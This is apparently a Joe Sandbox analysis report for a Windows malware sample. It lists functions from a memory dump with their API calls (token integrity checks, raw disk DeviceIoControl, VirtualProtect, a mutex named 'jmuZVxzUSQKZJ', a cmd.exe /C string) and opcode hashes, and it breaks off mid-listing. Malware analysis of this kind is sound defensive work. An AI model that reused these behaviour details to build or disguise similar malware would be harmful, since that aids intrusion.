Instruction Fuzzy Hash: 4CF065B4D00348EFC704EFA599896ADBBB4AB04701F10857AE85277395E2BC5644CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52B Relevance: 13.8, APIs: 11, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,00004000,004046B5,?,0040C145,004046B5,?,00401BD7), ref: 0040E53D
LocalAlloc.KERNEL32(00000040,00004000,?,0040C145,004046B5,?,00401BD7), ref: 0040E54F
LocalAlloc.KERNEL32(00000040,00004000,?,0040C145,004046B5,?,00401BD7), ref: 0040E561
LocalAlloc.KERNEL32(00000040,00001000,?,0040C145,004046B5,?,00401BD7), ref: 0040E573
LocalAlloc.KERNEL32(00000040,00001000,?,0040C145,004046B5,?,00401BD7), ref: 0040E585
LocalAlloc.KERNEL32(00000040,00008000,?,0040C145,004046B5,?,00401BD7), ref: 0040E597
LocalAlloc.KERNEL32(00000040,00008004,?,0040C145,004046B5,?,00401BD7), ref: 0040E5A9
LocalAlloc.KERNEL32(00000040,000001F4,?,0040C145,004046B5,?,00401BD7), ref: 0040E5E5
LocalAlloc.KERNEL32(00000040,000000FC,?,0040C145,004046B5,?,00401BD7), ref: 0040E5F7
LocalAlloc.KERNEL32(00000040,00000400,?,0040C145,004046B5,?,00401BD7), ref: 0040E609
LocalAlloc.KERNEL32(00000040,00010000,?,0040C145,004046B5,?,00401BD7), ref: 0040E61B

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 65ac8032e033309efcc9f8c0d48804f40c42494c7e65b2be43682c95c20d6d53
Instruction ID: 884c2741ace77f4595bd006b1489b08cdeecc1dacb1c364e852769e485284a96
Opcode Fuzzy Hash: 65ac8032e033309efcc9f8c0d48804f40c42494c7e65b2be43682c95c20d6d53
Instruction Fuzzy Hash: 44213CB4A41300AFF354AF65AC56B743AA0F708B59F108035FB89A63E0F6F455858E5F

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4C Relevance: 12.1, APIs: 8, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A5F
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocChangeCloseFindFreeNotificationOpenProcess
String ID:
API String ID: 2854556994-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 2e4b4cc31351ce880421fb230fd6ac05725b6f10eb8191371f756e524e2f733f
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: ED313CB4A04208FFDB14CFD4C948BAEBBF8AB48301F1081AAE511B72D4D774AB04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404369 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105), ref: 00404380
CoInitialize.OLE32(00000000), ref: 00404388

Part of subcall function 00409543: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
Part of subcall function 00409543: NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
Part of subcall function 00409543: EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000180,00660000), ref: 00409626
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000178,00660000), ref: 0040963C
Part of subcall function 00409543: LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
Part of subcall function 00409543: LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: CriticalInitProcessSectionStringUnicode$AllocateChangeCloseDirectoryEnterEnumerateExitFileFindFreeInitializeLeaveLoadedLocalMemoryModuleModulesNameNotificationOpenTokenVirtualWindows
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 41577365-3057154508
Opcode ID: a438ef9f5f25d9aebddb8c854ded96209a6b7bafee1d22157f4d592698697d9c
Instruction ID: 7b01f62542bec0b1d87828faea97dd6a3c55c304531570e4c9315d46f9a50642
Opcode Fuzzy Hash: a438ef9f5f25d9aebddb8c854ded96209a6b7bafee1d22157f4d592698697d9c
Instruction Fuzzy Hash: 9411ABB290430866D710BB60EC47FDE73299B54705F0045BBB709B50C2ED7997D88EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00407AB9 Relevance: 6.1, APIs: 4, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Local$AllocChangeCloseFindFreeInformationNotificationToken
String ID:
API String ID: 2094194634-0
Opcode ID: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction ID: 8c14f008afbfcab52b1f24e0be9b5b67c8a06fc3440972dff98bedf792b56cd5
Opcode Fuzzy Hash: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction Fuzzy Hash: 2E215E74D04208EFCB04CFE4C959AEEBBB5AB08305F1480AAE505B7394C7746B40DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00403AEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNELBASE(00000000,00000000,jmuZVxzUSQKZJ,?,?,004044C1,?,?,004046B5), ref: 00403AFB
GetLastError.KERNEL32(?,?,004044C1,?,?,004046B5), ref: 00403B06

Strings

jmuZVxzUSQKZJ, xrefs: 00403AF2

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: jmuZVxzUSQKZJ
API String ID: 1925916568-1615886713
Opcode ID: 97f4a8950689e7290d3bb4c401befd14a09affdda078bd002e7cbc94f52d7475
Instruction ID: 0594eaefbf50b0c8ed9c9a89b72dfe51cd43608961eacb7f94053228cce8ae52
Opcode Fuzzy Hash: 97f4a8950689e7290d3bb4c401befd14a09affdda078bd002e7cbc94f52d7475
Instruction Fuzzy Hash: 32D017B044A304FAE3008F50DE4DB587EA4EB10702F208036E2026A2D4E3F85A45564A

Uniqueness

Uniqueness Score: -1.00%

Function 00403072 Relevance: 4.6, APIs: 3, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040895B: FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
Part of subcall function 0040895B: CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
Part of subcall function 0040895B: DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000003,30000080,00000000), ref: 0040309A
DeviceIoControl.KERNELBASE(00000200,0007405C,00000000,00000000,0046CB60,00000008,?,00000000), ref: 0040882A

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile$ChangeCloseFindNotification
String ID:
API String ID: 678468364-0
Opcode ID: f40e64bbfca4cb1d53614c19df2d38540b9dd2651b1b1209df5de0d054ee8c58
Instruction ID: a0e7df79db3949de73361334ad2b5bb9c35e9f163141fb49d4e1771874b744e5
Opcode Fuzzy Hash: f40e64bbfca4cb1d53614c19df2d38540b9dd2651b1b1209df5de0d054ee8c58
Instruction Fuzzy Hash: FB317574F50201EBD750DB61FDC2B663364A704B08F10863AE985A62E0F7B8A5029F6F

Uniqueness

Uniqueness Score: -1.00%

Function 00403923 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,00000000,0040234A,00000000), ref: 0040393C

Strings

J#@, xrefs: 0040392F

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: J#@
API String ID: 3494564517-1245308917
Opcode ID: 19467080a526decec66838046e26b9bb124c136d8231779d530f3707eec05e2f
Instruction ID: 96f7a68253a7caa59ed99d58a6af94cef16a1ec6a7eb00646cb3d5ddcbfd36b8
Opcode Fuzzy Hash: 19467080a526decec66838046e26b9bb124c136d8231779d530f3707eec05e2f
Instruction Fuzzy Hash: B8F09BB8E04208EFCB04DF88D68189DFBF5EB48310F2081A9E948A7340D630AE41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040B485 Relevance: 1.6, APIs: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeviceIoControl.KERNELBASE(00000200,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 61738139d7721975275484778ac13903525e9063b07367c5274bb8a2ff343b39
Instruction ID: 955b2810cad582ab64bab9f2fc00926d3d94ddd31486b38c3d76b0e6824925a9
Opcode Fuzzy Hash: 61738139d7721975275484778ac13903525e9063b07367c5274bb8a2ff343b39
Instruction Fuzzy Hash: CF514975A00208EFEB04CF98C591B9EBBB1EF94304F2881E9D9006B386C675EF41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040CCC4 Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52feb7105ccc154861b194a815cc79ff19998883af9ca8cb1e6121868c2185b6
Instruction ID: b0a1cca4c76cdf7f661d8f2e5d02ec42dbbd4e19700d0716b40d81d1197e7497
Opcode Fuzzy Hash: 52feb7105ccc154861b194a815cc79ff19998883af9ca8cb1e6121868c2185b6
Instruction Fuzzy Hash: A6513975A00108EFDB08CF98C594B9EBBB1EB94304F2481A9E9056B3C2C775EF41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040B453 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNELBASE(00000200,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction ID: 4278b43e27663415cba18f20cd4f792bdb1a65b806582fdca38cb5ba5a4c1545
Opcode Fuzzy Hash: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction Fuzzy Hash: 5D515B75A04244DFEB08CF98C590BAABBB2EF94304F2881E9D9015B387C675EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 004069BB Relevance: 1.5, APIs: 1, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,00F1B4B0,?,8B6DF01F,?), ref: 0040A53E

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f586a6cd2cf2dbeeef7eea32102fec9f33a1a5ead16db59af31ba7ceb6fdb687
Instruction ID: df007bf62870af7b74df0dbbe881ec21055e906183b30cdd37e1bfed71aa1605
Opcode Fuzzy Hash: f586a6cd2cf2dbeeef7eea32102fec9f33a1a5ead16db59af31ba7ceb6fdb687
Instruction Fuzzy Hash: 6FE0EC631002087AD7102995DC46FE7765DD7C83A9F508432F705E61D1D63DD95092AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNELBASE(00000200,0007405C,00000000,00000000,?,00000008,00405A0B,00000000), ref: 004015AE

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 98b00b6936f3a10efa9a674e71bb74e0dcfe603724a387bcbcad0dffbf1469cf
Instruction ID: 99371d9e342f55f1bbc85bd8c476da0c26e9402948ab4de55a1e54ae49f6dd3b
Opcode Fuzzy Hash: 98b00b6936f3a10efa9a674e71bb74e0dcfe603724a387bcbcad0dffbf1469cf
Instruction Fuzzy Hash: 5BF03076E44204BAE714EBA48C82F6B776DE744704F1081A9B605F61C0EA74AA018BBA

Uniqueness

Uniqueness Score: -1.00%

Function 00401352 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction ID: a34d84a8aa74edc03bf23277289f2878ef58b524965e171c6cbb9bf5a1c13c13
Opcode Fuzzy Hash: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction Fuzzy Hash: 6EF01276C0020CFFCF01AFA5C995CADBF75FF08204B0484AEF90426162DB369A24EB04

Uniqueness

Uniqueness Score: -1.00%

Function 0040A554 Relevance: 1.5, APIs: 1, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,00F1B4B0,?,8B6DF01F,?), ref: 0040A53E

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e49d5435ce23adc9ba57d6308fbfbf1d6f88da9ad89fc2230d2c21acb333a382
Instruction ID: 523668955e0e2244aa789caa92f6427d01868abc63ade59164da16a1192ab317
Opcode Fuzzy Hash: e49d5435ce23adc9ba57d6308fbfbf1d6f88da9ad89fc2230d2c21acb333a382
Instruction Fuzzy Hash: A5E0D831004604ADCB11DE58EC8EBDA7298D705311F6498339906FD581CB3CDA85859F

Uniqueness

Uniqueness Score: -1.00%

Function 0040135E Relevance: 1.5, APIs: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction ID: c3339b175f8b132734afde4b87bcd326777cd273dbfa93b5593f16fc1374389e
Opcode Fuzzy Hash: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction Fuzzy Hash: 3DF0F876C0020CBFCF01AFA5D955C9DBFB9FF48200F0084AEB91466162D7369A20AB54

Uniqueness

Uniqueness Score: -1.00%

Function 004047DB Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 425319291f41f57d8ddd7af97c040428323980b2498e4bb20d22353919547d1b
Instruction ID: c9214f333475bc89ecd2d70b7295bcdaad91083d6e94d736a289ab9c47a493dc
Opcode Fuzzy Hash: 425319291f41f57d8ddd7af97c040428323980b2498e4bb20d22353919547d1b
Instruction Fuzzy Hash: B1B01261D0D14C13CF209B3168041947B29E6D5609B1003DCEC0D201229B13D41047A3

Uniqueness

Uniqueness Score: -1.00%

Function 0040930C Relevance: 1.3, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000040,?,?,?,00401D6F,?,00000004), ref: 0040931A

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: fbf826679867081d8f65b02a643174af9db75dbf243e506da0a382be49be1460
Instruction ID: c1ed8782e068432966769c92f22ccf836d2bf65aa78af723960710e09a7f87a5
Opcode Fuzzy Hash: fbf826679867081d8f65b02a643174af9db75dbf243e506da0a382be49be1460
Instruction Fuzzy Hash: 6BD0C975A0420CBBCB00DF88E942D59BBECEB09214F004195FE0CDB240D671AE008A95

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC5F Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00405A18,?,00405A18,00000070,?,?,?,00401322), ref: 0040CC68

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: f3e2705f243469e8b18360c5bb887dd51615c543d62bfa3a82b819ceace6c8ed
Instruction ID: 4f1da3139afef55b26450597318142262e87c8731a1b2672ee4cfa4472a97f69
Opcode Fuzzy Hash: f3e2705f243469e8b18360c5bb887dd51615c543d62bfa3a82b819ceace6c8ed
Instruction Fuzzy Hash: 7CB0123564430CBBD6006BC8EC05FE5379CE708A1AF000010FA0C86140D6A0B84046A6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040D1F6 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 169libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040AEB6,?,?,004046B5), ref: 0040D1FE
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0040D336
